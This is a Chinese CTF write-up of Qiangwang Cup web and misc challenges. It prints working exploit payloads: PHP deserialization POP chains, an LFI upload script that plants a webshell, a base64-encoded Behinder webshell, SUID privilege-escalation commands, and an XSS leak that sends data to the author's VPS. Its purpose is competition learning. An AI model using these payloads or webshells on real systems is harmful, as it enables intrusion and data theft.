发布于2022年11月5日3年前 Web1.[强网先锋]寻宝下发赛题,访问链接如下:该题需要你通过信息 1 和信息 2 分别获取两段 Key 值,输入 Key1 和 Key2 然后解密。Key1之代码审计点击“信息1”,发现是代码审计:完整源码如下:<?phpheader('Content-type:text/html;charset=utf-8');error_reporting(0);highlight_file(__file__);function filter($string){ $filter_word = array('php','flag','index','KeY1lhv','source','key','eval','echo','\$','\(','\.','num','html','\/','\,','\'','0000000'); $filter_phrase= '/'.implode('|',$filter_word).'/'; return preg_replace($filter_phrase,'',$string); }if($ppp){ unset($ppp);}$ppp['number1'] = "1";$ppp['number2'] = "1";$ppp['nunber3'] = "1";$ppp['number4'] = '1';$ppp['number5'] = '1';extract($_POST);$num1 = filter($ppp['number1']); $num2 = filter($ppp['number2']); $num3 = filter($ppp['number3']); $num4 = filter($ppp['number4']);$num5 = filter($ppp['number5']); if(isset($num1) && is_numeric($num1)){ die("非数字");}else{ if($num1 > 1024){ echo "第一层"; if(isset($num2) && strlen($num2) <= 4 && intval($num2 + 1) > 500000){ echo "第二层"; if(isset($num3) && '4bf21cd' === substr(md5($num3),0,7)){ echo "第三层"; if(!($num4 < 0)&&($num4 == 0)&&($num4 <= 0)&&(strlen($num4) > 6)&&(strlen($num4) < 8)&&isset($num4) ){ echo "第四层"; if(!isset($num5)||(strlen($num5)==0)) die("no"); $b=json_decode(@$num5); if($y = $b === NULL){ if($y === true){ echo "第五层"; include 'KeY1lhv.php'; echo $KEY1; } }else{ die("no"); } }else{ die("no"); } }else{ die("no"); } }else{ die("no"); } }else{ die("no111"); }}非数字?>核心需要 bypass 的代码如下:第一层:要求非纯数字且大于 1024,利用 PHP 弱比较令 $num1=11111a 即可。第二层:绕过 intval 函数(intval() 函数用于获取变量的整数值),利用科学技术法绕过长度小于 5 的限制,故令 $num2=9e9 即可。第三层:substr(md5) 取值为某个值,编写脚本进行 MD5 碰撞,计算出num3 为 61823470,脚本如下:import hashlibdef md5_encode(num3): return hashlib.md5(num3.encode()).hexdigest()[0:7]for i in range(60000000,700000000): num3 = md5_encode(str(i)) # print(num3) if num3 == '4bf21cd': print(i) break 运行结果如下:第四层:科学计数法绕过,长度为 7 且为 0,num4 为 0e00000。第五层:json_decode()函数接受一个 JSON 编码的字符串并且把它转换为 PHP 变量,如果 json 无法被解码(非 json 格式时)将会返回 null ,故令 num5 等于 1a (任意字符串即可)。故最终 Payload:ppp[number1]=11111a&ppp[number2]=9e9&ppp[number3]=61823470&ppp[number4]=0e00000&ppp[number5]=1aPOST提交获得 Key1:KEY1{e1e1d3d40573127e9ee0480caf1283d6}Key2之脚本搜索1、提示信息给了一个下载链接:2、解压后得到一堆 docx 文件:3、随便打开一个发现是一堆字符:4、猜测 Key2 就在其中某一个文件中,写脚本跑:import osimport docxfor i in range(1,20): for j in range(1,20): path = "./5.{0}/VR_{1}".format(i,j) files = os.listdir(path) # print(filePath) for file in files: try: fileName = path+"/"+file # print(fileName) file = docx.Document(fileName) for content in file.paragraphs: # print(content.text) if "KEY2{" in content.text: print(content.text) print(fileName) break except: pass运行结果如下:得到 KEY2 :KEY2{T5fo0Od618l91SlG6l1l42l3a3ao1nblfsS}在原页面上提交获取 flag:2.[强网先锋]赌徒下发赛题,访问地址如下:结合题目源码提醒,利用 dirsearch 扫描目录,发现 www.zip: 3、解压缩获得题目源码:<meta charset="utf-8"><?php//hint is in hint.phperror_reporting(1);class Start{ public $name='guest'; public $flag='syst3m("cat 127.0.0.1/etc/hint");'; public function __construct(){ echo "I think you need /etc/hint . Before this you need to see the source code"; } public function _sayhello(){ echo $this->name; return 'ok'; } public function __wakeup(){ echo "hi"; $this->_sayhello(); } public function __get($cc){ echo "give you flag : ".$this->flag; return ; }}class Info{ private $phonenumber=123123; public $promise='I do'; public function __construct(){ $this->promise='I will not !!!!'; return $this->promise; } public function __toString(){ return $this->file['filename']->ffiillee['ffiilleennaammee']; }}class Room{ public $filename='/flag'; public $sth_to_set; public $a=''; public function __get($name){ $function = $this->a; return $function(); } public function Get_hint($file){ $hint=base64_encode(file_get_contents($file)); echo $hint; return ; } public function __invoke(){ $content = $this->Get_hint($this->filename); echo $content; }}if(isset($_GET['hello'])){ unserialize($_GET['hello']);}else{ $hi = new Start();}?>看到这里猜测是 PHP 反序列化的题目,但是先前了解的相关题目都只是涉及析构函数的利用点,本题看得一脸懵圈,所以立马恶补下 CTF 中关于 PHP 反序列化的套路。PHP的魔术方法PHP 中魔术方法的定义是把以两个下划线__开头的方法称为魔术方法,常见的如下:__construct: 在创建对象时候初始化对象,一般用于对变量赋初值。__destruct: 和构造函数相反,当对象所在函数调用完毕后执行。__toString: 当对象被当做一个字符串使用时调用。__sleep: 序列化对象之前就调用此方法(其返回需要一个数组)__wakeup: 反序列化恢复对象之前调用该方法__call: 当调用对象中不存在的方法会自动调用该方法。__get: 从不可访问的属性中读取数据会触发__isset(): 在不可访问的属性上调用isset()或empty()触发__unset(): 在不可访问的属性上使用unset()时触发__invoke(): 将对象调用为函数时触发更多请查看PHP手册:https://www.php.net/manual/zh/language.oop5.magic.php简单例子<?phpclass A{ var $test = "demo"; function __wakeup(){ eval($this->test); }}$a = $_GET['test'];$a_unser = unserialize($a);?>分析:这里只有一个A类,只有一个__wakeup()方法,并且一旦反序列化会走魔法方法__wakeup并且执行 test 变量的命令,那我们构造如下 EXP 执行 phpinfo() 函数:<?phpclass A{ var $test = "demo"; function __wakeup(){ echo $this->test; }}$a = $_GET['test'];$a_unser = unserialize($a);$b = new A();$b->test="phpinfo();";$c = serialize($b);echo $c;?>输出:O:1:"A":1:{s:4:"test";s:10:"phpinfo();";}提交输出的 Payload,执行效果如下:POP链实例进一步来看一道进阶题目:<?php//flag is in flag.phperror_reporting(1);class Read { public $var; public function file_get($value) { $text = base64_encode(file_get_contents($value)); return $text; } public function __invoke(){ $content = $this->file_get($this->var); echo $content; }}class Show{ public $source; public $str; public function __construct($file='index.php') { $this->source = $file; echo $this->source.'Welcome'."<br>"; } public function __toString() { return $this->str['str']->source; } public function _show() { if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) { die('hacker'); } else { highlight_file($this->source); } } public function __wakeup() { if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } }}class Test{ public $p; public function __construct() { $this->p = array(); } public function __get($key) { $function = $this->p; return $function(); }}if(isset($_GET['hello'])){ unserialize($_GET['hello']);}else{ $show = new Show('pop3.php'); $show->_show();}【题目分析】对于此题可以看到我们的目的是通过构造反序列化读取 flag.php 文件,Read 类有file_get_contents()函数,Show 类有highlight_file()函数可以读取文件。接下来寻找目标点可以看到在最后几行有 unserialize 函数存在,该函数的执行同时会触发__wakeup魔术方法,而__wakeup魔术方法可以看到在 Show 类中。1、__wakeup方法:public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; }}存在一个正则匹配函数 preg_match(),该函数第二个参数应为字符串,这里把 source 当作字符串进行的匹配,这时若这个 source 是某个类的对象的话,就会触发这个类的__tostring方法,通篇看下代码发现__tostring魔术方法也在 Show 类中,那么我们一会构造 exp 时将 source 变成 Show 这个类的对象就会触发__tostring方法。2、__tostring方法:public function __toString(){ return $this->str['str']->source;}首先找到 str 这个数组,取出 key 值为 str 的 value 值赋给 source,那么如果这个 value 值不存在的话就会触发 __get 魔术方法。再次通读全篇,看到 Test 类中存在 __get 魔术方法。3、__get方法: public function __get($key){ $function = $this->p; return $function();}发现先取 Test 类中的属性 p 给 function 变量,再通过 return $function() 把它当作函数执行,这里属性 p 可控。这样就会触发 __invoke 魔术方法,而 __invoke 魔术方法存在于Read类中。4、__invoke方法:public function __invoke(){ $content = $this->file_get($this->var); echo $content;}调用了该类中的 file_get 方法,形参是 var 属性值(这里我们可以控制),实参是 value 值,从而调用file_get_contents函数读取文件内容,所以只要将 Read 类中的 var 属性值赋值为 flag.php 即可。5、POP链构造:unserialize 函数(变量可控) –>__wakeup()魔术方法–>__tostring()魔术方法–>__get魔术方法–>__invoke魔术方法–> 触发 Read 类中的file_get方法–>触发file_get_contents函数读取 flag.php。<?php class Show{ public $source; public $str;}class Test{ public $p;} class Read{ public $var = "flag.php";} $s = new Show();$t = new Test();$r = new Read();$t->p = $r; //赋值Test类的对象($t)下的属性p为Read类的对象($r),触发__invoke魔术方法$s->str["str"] = $t;//赋值Show类的对象($s)下的str数组的str键的值为 Test类的对象$t ,触发__get魔术方法。$s->source = $s;//令 Show类的对象($s)下的source属性值为此时上一步已经赋值过的$s对象,从而把对象当作字符串调用触发__tostring魔术方法。var_dump(serialize($s));?>题目POP链构造经过上面的实例分析,此赛题同理,照葫芦画瓢即可。构造本题的 EXP:<?phpclass Start{ public $name='guest'; public $flag='syst3m("cat 127.0.0.1/etc/hint");';}class Info{ public $phonenumber=123123; public $promise='I do';}class Room{ public $filename='/flag'; public $sth_to_set; public $a='';}$S = new Start();$I = new Info();$R = new Room();$R->a = $R;$I->file['filename'] = $R;$S->name = $I; echo serialize($S);?>输出Payload:O:5:"Start":2:{s:4:"name";O:4:"Info":3:{s:11:"phonenumber";i:123123;s:7:"promise";s:4:"I do";s:4:"file";a:1:{s:8:"filename";O:4:"Room":3:{s:8:"filename";s:5:"/flag";s:10:"sth_to_set";N;s:1:"a";r:6;}}}s:4:"flag";s:33:"syst3m("cat 127.0.0.1/etc/hint");";}提交 Payload,获得 Flag 的 base64 编码:坑点!需要去除前面的 “hi” 字符再进行 Base64 解码:3.WhereIsUWebShell源码 <!-- You may need to know what is in e2a7106f1cc8bb1e1318df70aa0a3540.php--> <?php // index.php ini_set('display_errors', 'on'); if(!isset($_COOKIE['ctfer'])){ setcookie("ctfer",serialize("ctfer"),time()+3600); }else{ include "function.php"; echo "I see your Cookie<br>"; $res = unserialize($_COOKIE['ctfer']); if(preg_match('/myclass/i',serialize($res))){ throw new Exception("Error: Class 'myclass' not found "); } } highlight_file(__FILE__); echo "<br>"; highlight_file("myclass.php"); echo "<br>"; highlight_file("function.php"); <?php // myclass.php class Hello{ public function __destruct() { if($this->qwb) echo file_get_contents($this->qwb); } } ?> <?php // function.php function __autoload($classname){ require_once "/var/www/html/$classname.php"; } ?> 入口的 COOKIE 存在反序列化去掉最后的大括号,利用反序列化报错来防止进入 ExceptionO:7:"myclass":1:{s:1:"h";O:5:"Hello":1:{s:3:"qwb";s:36:"e2a7106f1cc8bb1e1318df70aa0a3540.php";} O%3A7%3A%22myclass%22%3A1%3A%7Bs%3A1%3A%22h%22%3BO%3A5%3A%22Hello%22%3A1%3A%7Bs%3A3%3A%22qwb%22%3Bs%3A36%3A%22e2a7106f1cc8bb1e1318df70aa0a3540%2Ephp%22%3B%7D e2a7106f1cc8bb1e1318df70aa0a3540.php<?php include "bff139fa05ac583f685a523ab3d110a0.php"; include "45b963397aa40d4a0063e0d85e4fe7a1.php"; $file = isset($_GET['72aa377b-3fc0-4599-8194-3afe2fc9054b'])?$_GET['72aa377b-3fc0-4599-8194-3afe2fc9054b']:"404.html"; $flag = preg_match("/tmp/i",$file); if($flag){ PNG($file); } include($file); $res = @scandir($_GET['dd9bd165-7cb2-446b-bece-4d54087185e1']); if(isset($_GET['dd9bd165-7cb2-446b-bece-4d54087185e1'])&&$_GET['dd9bd165-7cb2-446b-bece-4d54087185e1']==='/tmp'){ $somthing = GenFiles(); $res = array_merge($res,$somthing); } shuffle($res); @print_r($res); ?> bff139fa05ac583f685a523ab3d110a0.php<?php function PNG($file) { if(!is_file($file)){die("我从来没有见过侬");} $first = imagecreatefrompng($file); if(!$first){ die("发现了奇怪的东西2333"); } $size = min(imagesx($first), imagesy($first)); unlink($file); $second = imagecrop($first, ['x' => 0, 'y' => 0, 'width' => $size, 'height' => $size]); if ($second !== FALSE) { imagepng($second, $file); imagedestroy($second);//销毁,清内存 } imagedestroy($first); } ?> 45b963397aa40d4a0063e0d85e4fe7a1.php<?php function GenFiles(){ $files = array(); $str = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $len=strlen($str)-1; for($i=0;$i<10;$i++){ $filename="php"; for($j=0;$j<6;$j++){ $filename .= $str[rand(0,$len)]; } // file_put_contents('/tmp/'.$filename,'flag{fake_flag}'); $files[] = $filename; } return $files; } ?> /e2a7106f1cc8bb1e1318df70aa0a3540.php?72aa377b-3fc0-4599-8194-3afe2fc9054b=passwd&dd9bd165-7cb2-446b-bece-4d54087185e1=/tmp当前应该是在 /etc 目录下(?不过没啥用,不能直接读 /flag,或者说 flag 不在根目录参考 LFI via SegmentFaultinclude.php?file=php://filter/string.strip_tags/resource=/etc/passwd 可以导致 php 在执行过程中 Segment Fault本地文件包含漏洞可以让 php 包含自身从而导致死循环然后 php 就会崩溃 , 如果请求中同时存在一个上传文件的请求的话 , 这个文件就会被保留魔改他的脚本# -*- coding: utf-8 -*- import requests import string import itertools charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' base_url = "http://eci-2ze9gh3z7jcw29alwhuz.cloudeci1.ichunqiu.com" def upload_file_to_include(url, file_content): files = {'file': ('evil.jpg', file_content, 'image/jpeg')} try: response = requests.post(url, files=files) print(response) except Exception as e: print(e) def generate_tmp_files(): with open('miao.png', 'rb') as fin: file_content = fin.read() phpinfo_url = "%s/e2a7106f1cc8bb1e1318df70aa0a3540.php?72aa377b-3fc0-4599-8194-3afe2fc9054b=php://filter/string.strip_tags/resource=passwd" % ( base_url) length = 6 times = int(len(charset) ** (length / 2)) for i in range(times): print("[+] %d / %d" % (i, times)) upload_file_to_include(phpinfo_url, file_content) def main(): generate_tmp_files() if __name__ == "__main__": main() 图片是个长宽相等的 png,里面放木马。上传过程中就会留下一些文件不会被删除。一边跑这个脚本,另一边的一堆 /tmp/phpxxxxxx 里就存在我们的 webshell由于会自动删除,没了就换新的根目录果然没 flag然后利用 shell 发现 /usr/bin 下面有个文件可以以 root 权限执行命令find / -user root -perm -4000 -print 2>/dev/null # 或者 # find / -perm -u=s -type f 2>/dev/null flag 在 /l1b 下一个绕来绕去的目录里面或者find / -perm 600 -user root 最后执行/usr/bin/ed471efd0577be6357bb94d6R3@dF1aG /l1b/82a71a2d/e17e0f28/74cb5ced/8f93ff64/3396136a/Fl444ggg160b5c41 POST /e2a7106f1cc8bb1e1318df70aa0a3540.php?b822f88a-de15-4dc8-923b-1cbeec54bcfc=/tmp/phpi8bEt1&0=system HTTP/1.1 Host: eci-2zehg7ugvk0ahcsnkehl.cloudeci1.ichunqiu.com Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: UM_distinctid=1769d95cb5b54d-04781d3935eefa-c791039-1fa400-1769d95cb5c669; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1611909425; ctfer=s%3A5%3A%22ctfer%22%3B; __jsluid_h=847d751b863f86e3ed743f9efb5d5c4f Connection: close Content-Length: 110 Content-Type: application/x-www-form-urlencoded 1=/usr/bin/ed471efd0577be6357bb94d6R3@dF1aG /l1b/82a71a2d/e17e0f28/74cb5ced/8f93ff64/3396136a/Fl444ggg160b5c41 flag{b101e657-a46a-4791-abcb-5be544fc12bd}4.EasyWebSQL注入得密码1、提示信息收集,那么先扫一波端口:2、访问该端口是一个登陆页面:3、简单测试发现是未过滤的 SQL 注入:4、直接上 Sqlmap(sqlmap.py -r 123.txt --dbms MySQL -p "username" -D easyweb -T employee -C "username,password" --dump,不知为何,此题发现必须加上--dbms MySQL -p "username"参数才能正常跑 sqlmap),获得账户密码,尴尬的是一开始以为密码得解密后才能登录,后来队友说直接输入就行……5、登陆后围绕系统标题栏 EasySSRF 的提示,一通搜索企图利用 SSRF 读取本地 flag 文件,无果……上传木马并提权1、尝试 SSRF 无果,无奈继续信息搜集,扫描路径,发现 file 路径可上传文件:2、尝试上传 php 一句话木马,被拦截了,Fuzz 了一下发现是后缀+内容过滤,不能传 jpg 这些,猜测用.htaccess上传漏洞,发现也存在过滤:3、此处过滤了 application,用 php5-script 绕过即可:4、随后上传木马文件,传马发现 php 不能闭合,并且过滤了一些危险函数,fuzz 一下得到:5、成功连接木马:6、然而发现 flag 文件无法读取……权限不足,读取 hint 文件获得提示:7、提示信息要求继续进行信息收集,接下来的操作比赛时我没搞懂,故盗用别人的解题过程……使用命令netstat –apn查看服务器所有的进程和端口使用情况,留意到 8006 端口为 JBoss 服务:在终端使用 curl 命令请求访问 8006 端口的服务页面:8、访问 1.qwer 木马文件,写入冰蝎马(方便利用冰蝎做内网穿透,将靶机内网服务映射到本地):/1.qwer?1=file_put_contents('b.php',base64_decode('PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwogICAgJGtleT0iZTQ1ZTMyOWZlYjVkOTI1YiI7IC8v6K%2Bl5a%2BG6ZKl5Li66L%2Be5o6l5a%2BG56CBMzLkvY1tZDXlgLznmoTliY0xNuS9je%2B8jOm7mOiupOi%2FnuaOpeWvhueggXJlYmV5b25kCgkkX1NFU1NJT05bJ2snXT0ka2V5OwoJc2Vzc2lvbl93cml0ZV9jbG9zZSgpOwoJJHBvc3Q9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CglpZighZXh0ZW5zaW9uX2xvYWRlZCgnb3BlbnNzbCcpKQoJewoJCSR0PSJiYXNlNjRfIi4iZGVjb2RlIjsKCQkkcG9zdD0kdCgkcG9zdC4iIik7CgkJCgkJZm9yKCRpPTA7JGk8c3RybGVuKCRwb3N0KTskaSsrKSB7CiAgICAJCQkgJHBvc3RbJGldID0gJHBvc3RbJGldXiRrZXlbJGkrMSYxNV07IAogICAgCQkJfQoJfQoJZWxzZQoJewoJCSRwb3N0PW9wZW5zc2xfZGVjcnlwdCgkcG9zdCwgIkFFUzEyOCIsICRrZXkpOwoJfQogICAgJGFycj1leHBsb2RlKCd8JywkcG9zdCk7CiAgICAkZnVuYz0kYXJyWzBdOwogICAgJHBhcmFtcz0kYXJyWzFdOwoJY2xhc3MgQ3twdWJsaWMgZnVuY3Rpb24gX19pbnZva2UoJHApIHtldmFsKCRwLiIiKTt9fQogICAgQGNhbGxfdXNlcl9mdW5jKG5ldyBDKCksJHBhcmFtcyk7Cj8%2BCg%3D%3D'));9、接着使用冰蝎客户端的“内网穿透”建立 HTTP 隧道,将靶机的 8006 端口映射到物理机的 2222 端口:随后本地物理机浏览器即可访问 2222 端口,为 JBoss 默认页面:10、最后使用 JexBoss 脚本一把梭https://github.com/SpartansHackTeam/Jexboss,获得 Shell 为 root 权限,即可查看 flag 如下:本题最后补充两个知识点:冰蝎 3.0 内网穿透(代理)功能详解:冰蝎v3.0操作使用手册 ;JexBoss 脚本工具的使用:JBoss未授权访问漏洞Getshell过程复现。5.EasyXSSThe BOT starts every five seconds and handles only one reported URL at a time. The BOT is Google-Chrome 91.0.4472.77 (Official Build) (64-bit)Notice: the address requested by the BOT is http://localhost:8888.Each time the BOT processes a request, it clears subsequent report URLs from the database每 15 分钟重启环境47.104.192.54:888847.104.210.56:888847.104.155.242:8888Hint: flag格式是flag{uuid}算是个 XS-Leaks 的题目,算是侧信道的一种吧。通过 /hint 路由可以知道 flag 判断逻辑。app.all("/flag", auth, async (req, res, next) => { if (req.session.isadmin && typeof req.query.var === "string") { fs.readFile("/flag", "utf8", (err, flag) => { let flagArray = flag.split(""); let dataArray = req.query.var.split(""); let check = true; for (let i = 0; i < dataArray.length && i < flagArray.length; i++) { if (dataArray[i] !== flagArray[i]) { check = false; break; } } if (check) { res.status(200).send(req.query.var); } else { res.status(500).send("Keyword Error!"); } }); } else { res.status(500).send("Sorry, you are not admin!"); } }); /flag 路由对输入的逐个字符与 flag 的这么多个(输入的)长度的字符进行比较,如果每一位都相同则返回 200,否则返回 500.访问 /about?theme=xxxxx 发现存在 XSS。不过过滤了一些东西,比如 空格可以用 %09 绕过之类。根据提示 flag 是个 UUID,于是可以按照这个格式逐位爆破,通过返回的状态来判断当前字符是否正确。访问 /about?theme=xxxxx 发现存在 XSS。不过过滤了一些东西,比如 空格可以用 %09 绕过之类。于是就在 VPS 上跑个脚本,分成功和失败两个路由,让 bot 访问自己的 /flag 路由。如果成功返回则调用 Ajax 去请求 VPS 上的 success 路由,否则请求 error 路由,并通过参数返回当前爆破的 flag。exp:from flask import Flask from flask import request import requests import urllib.parse app = Flask(__name__) @app.route("/success") def index(): global cookies global url data = request.args.get('a') if len(data) == 13 or len(data) == 18 or len(data) == 23 or len(data) == 28: data += "-0" else: data += "0" p = '''";t="''' + data +'''",$.ajax({url:"/flag?var="+t}).done(function(o){window.location="http://自己的VPS/success?a="+t}).fail(function(){window.location="http://自己的VPS/error?a="+t});//''' p = "http://localhost:8888/about?theme=" + urllib.parse.quote(p) d = { "url": p } requests.post(url, data=d, cookies=cookies) return "Hello World!" @app.route("/error") def index2(): global cookies global url data = request.args.get('a') tmp = data[:-1] if data[-1] == "9": tmp += "a" else: tmp += chr(ord(data[-1]) + 1) data = tmp p = '''";t="''' + data +'''",$.ajax({url:"/flag?var="+t}).done(function(o){window.location="http://自己的VPS/success?a="+t}).fail(function(){window.location="http://自己的VPS/error?a="+t});//''' p = "http://localhost:8888/about?theme=" + urllib.parse.quote(p) d = { "url": p } requests.post(url, data=d, cookies=cookies) return "Hello World!" cookies = {"session":"s%3ASuDwPHFP03I6VDRGiad8Zzst0owLeQY_.MjxB%2BTBwTgesKkEE9dIR95EoJPMuNNh%2BOZFw6ajDMm0"} # url = "http://47.104.210.56:8888/report" url = "http://47.104.192.54:8888/report" app.run(host='0.0.0.0', port=80) 让 bot 从 0 开始访问,虽然容器固定时间重启,但是 flag 是静态的 uuid,所以就是时间问题了。最后根据 VPS 上的访问记录就能得到 flag 了。6.Hard_PenetrationShiro反序列化1、访问解题链接发现是个登录页面,输入任意账户密码抓包发现 remenberme 响应头参数:2、Xray 神器一扫果然有 Shiro 反序列化漏洞:3、用 shiro_attack 工具进行漏洞利用,写冰蝎内存马,多写几次,失败没事然后打开冰蝎直接连接即可:4、查看根目录发现 flag 权限是 www-data 无法读取:CMS源码审计1、拿到 shell 但是权限不足,进一步进行信息收集,执行命令 ps (用于显示当前进程的状态,类似于 windows 的任务管理器)发现有 Apache 服务:2、读取 Apache 的 ports 配置文件得到端口:3、使用冰蝎将端口映射出来:4、本地物理机浏览器访问映射出来的内网服务,发现 CMS 关键字:5、Github 下载对应 CMS 系统的源码 BaoCms,然后审计发现包含了模板,但是它在后缀硬加上了 .html:6、最后利用 CMS 系统的文件包含漏洞读取 flag 文件:7.pop_master该题需要构造反序列化利用链 最终实现RCE由于该题目类数量巨大1W个 编写自动化脚本构造pop链第一步将class.php.txt转化成AST(抽象语法树) 保存为json格式<?phpini_set(“memory_limit”,”-1”);echo(json_encode(ast\parse_file(“class.php”, $version=70)));构造比较简单A->B->C->…….->包含EVAL()的class function调用这里有几个坑 1.调用途中有参数污染(附加垃圾数据) 2.调用途中传参可能被清空 (传参被赋值未定义的变量)3.调用途中传参可能被修改 (直接赋值为垃圾数据)所以并不是找到调用链就可以完成工作 而是需要找到可以利用的调用链自动化代码:PS:没有什么参考价值 只对该题可用 因为固定3种函数结构所以偷懒把参数写死了 初学py语言 第一次做AST树解析用这种笨方法)## -*- coding: utf-8 -*-import jsonimport randomimport osimport stringwith open("12.json") as f: line=f.readline() result=json.loads(line)print(len(result['children']))def asb(name,s,s1=''): ee = 0for a in result['children']:for b in a['children']['stmts']['children']:if 'name' in b['children'].keys():if (b['children']['name'] == 'gG1T5D'): ee = 0#ee=1if (b['children']['name'] == name): test(a)if(len(b['children']['stmts']['children'])==3): q = b['children']['stmts']['children'][1]['children'][0]['children']['cond']['children']['args']['children'][1] w = b['children']['stmts']['children'][random.randint(1,2)]['children'][0]['children']['cond']['children']['args']['children'][1]#随机分支 玄学构造#print(s + q)#print(s + w) ran_str = ''.join(random.sample(string.ascii_letters, 8))print('$'+ran_str+'=new '+a['children']['name']+'();') s11='$' + ran_str + '->' + a['children']['stmts']['children'][0]['children']['props']['children'][0]['children']['name'] + '='#if s1!='':# asb(w, s +w+'-->')# asb(q, s +q+'-->')if ee!=1: asb(w,s,s11)# 分支函数1#asb(q, s, s11)# 分支函数2if ran_str == '': exit()print(s1 + '$' + ran_str+';')#asb(q, s +q+'-->')else:if 'method' in b['children']['stmts']['children'][1]['children'].keys():# 没有分支 q = b['children']['stmts']['children'][1]['children']['method'] ran_str = ''.join(random.sample(string.ascii_letters, 8))print('$' + ran_str + '=new ' + a['children']['name'] + '();') s11 = '$' + ran_str + '->' + a['children']['stmts']['children'][0]['children']['props']['children'][0]['children']['name'] + '='#print(s + q)if ee != 1: asb(q, s, s11)if ran_str == '': exit()print(s1 + '$' + ran_str + ';')def test(d):#if name in {'Name','COiLxB'}:#print('nono')#exit()try: a=d['children']['stmts']['children'][1]['children']['params']['children'][0]['children']['name'] b=d['children']['stmts']['children'][1]['children']['stmts']['children'][0]['children']['stmts']['children'][0]['children']['var']['children']['name'] c=d['children']['stmts']['children'][1]['children']['stmts']['children'][0]['children']['stmts']['children'][0]['children']['expr']['children']['name']if(a==b and b!=c and a!='DgiNa'): #判断赋值是否是用不存在的变量覆盖传参print(a,b,c)print('no') asb('YYdqkf', 'YYdqkf' + '-->')#重新搜索 os._exit(0)except:passasb('YYdqkf','YYdqkf'+'-->')编写脚本处理AST随机抽取一条构造链 检验是否正常执行(传参修改检测) 反复抽取得到可用的链ps:例图输出与下面代码无关 找不到成功的图了<?php此处省略3M大小的源class$a=new WK4tcG();$prXsQMfO=new WK4tcG();$DLcTtAga=new xaeGnG();$lcbgRpGI=new oAMzcx();$IatldcbW=new p38LCI();$nULgbaKw=new GbfW4c();$ASyQaYMV=new m2s3zO();$GMwztlCS=new PgSSqR();$MegPsOnX=new RLuIRL();$neJOwgfu=new WykBAC();$PNHChDce=new g6hgDh();$BzceWjKp=new HDaeRV();$YThMXwcb=new bREm3w();$xWVjhwmO=new D0aZh5();$BIbCvgZD=new T9NX4U();$prvhXPMW=new eWciOL();$NVHbgdzD=new TqWDlm();$mszgihWC=new XoFA87();$vDBkPwqO=new MU1ai5();$ZYHhsIid=new eHtdBF();$ZYHhsIid->V7XKdgi=new DNUWgV();$vDBkPwqO->zXEmp6T=$ZYHhsIid;$mszgihWC->z35pfqP=$vDBkPwqO;$NVHbgdzD->KGgGFnb=$mszgihWC;$prvhXPMW->D6qeYVK=$NVHbgdzD;$BIbCvgZD->UwQCEH2=$prvhXPMW;$xWVjhwmO->ST8sCZq=$BIbCvgZD;$YThMXwcb->pMgtiwK=$xWVjhwmO;$BzceWjKp->OO72gIu=$YThMXwcb;$PNHChDce->GYBlHLq=$BzceWjKp;$neJOwgfu->yWYNYcP=$PNHChDce;$MegPsOnX->dFy0Irz=$neJOwgfu;$GMwztlCS->Cs99EPC=$MegPsOnX;$ASyQaYMV->QidIkAq=$GMwztlCS;$nULgbaKw->gE4DrP9=$ASyQaYMV;$IatldcbW->OksedLV=$nULgbaKw;$lcbgRpGI->SUxaKsh=$IatldcbW;$DLcTtAga->u3832FP=$lcbgRpGI;$a->fBuH5Og=$DLcTtAga;//$a = $_GET['pop'];$b = $_GET['argv'];echo serialize($a);//$a = unserialize($a);//var_dump($a);$a->YYdqkf($b);?>生成序列化文本?pop=O:6:%22WK4tcG%22:1:{s:7:%22fBuH5Og%22;O:6:%22xaeGnG%22:1:{s:7:%22u3832FP%22;O:6:%22oAMzcx%22:1:{s:7:%22SUxaKsh%22;O:6:%22p38LCI%22:1:{s:7:%22OksedLV%22;O:6:%22GbfW4c%22:1:{s:7:%22gE4DrP9%22;O:6:%22m2s3zO%22:1:{s:7:%22QidIkAq%22;O:6:%22PgSSqR%22:1:{s:7:%22Cs99EPC%22;O:6:%22RLuIRL%22:1:{s:7:%22dFy0Irz%22;O:6:%22WykBAC%22:1:{s:7:%22yWYNYcP%22;O:6:%22g6hgDh%22:1:{s:7:%22GYBlHLq%22;O:6:%22HDaeRV%22:1:{s:7:%22OO72gIu%22;O:6:%22bREm3w%22:1:{s:7:%22pMgtiwK%22;O:6:%22D0aZh5%22:1:{s:7:%22ST8sCZq%22;O:6:%22T9NX4U%22:1:{s:7:%22UwQCEH2%22;O:6:%22eWciOL%22:1:{s:7:%22D6qeYVK%22;O:6:%22TqWDlm%22:1:{s:7:%22KGgGFnb%22;O:6:%22XoFA87%22:1:{s:7:%22z35pfqP%22;O:6:%22MU1ai5%22:1:{s:7:%22zXEmp6T%22;O:6:%22eHtdBF%22:1:{s:7:%22V7XKdgi%22;O:6:%22DNUWgV%22:1:{s:7:%22bieiHE3%22;N;}}}}}}}}}}}}}}}}}}}}&argv=system(%27cat%20/flag%27);//访问即可getflagMisc1.签到flag{welcome_to_qwb_s5}2.BlueTeamingPowershell scripts were executed by malicious programs. What is the registry key that contained the power shellscript content?(本题flag为非正式形式)附件下载 提取码(GAME)备用下载压缩包解压密码:fantasicqwb2021首先使用 volatility 将内存中的 register hive 导出来.volatility -f memory.dmp --profile Win7SP1x64 hivelist volatility -f memory.dmp --profile Win7SP1x64 dumpregistry -D . 题目中说到可能和 powershell 恶意程序有关系,那么优先考虑 SOFTWARE 专用的字符串,使用 WRR.exe 工具检查注册表,然后全局搜索一些常见的恶意软件字段,比如 -IEX, encode decompress new-object 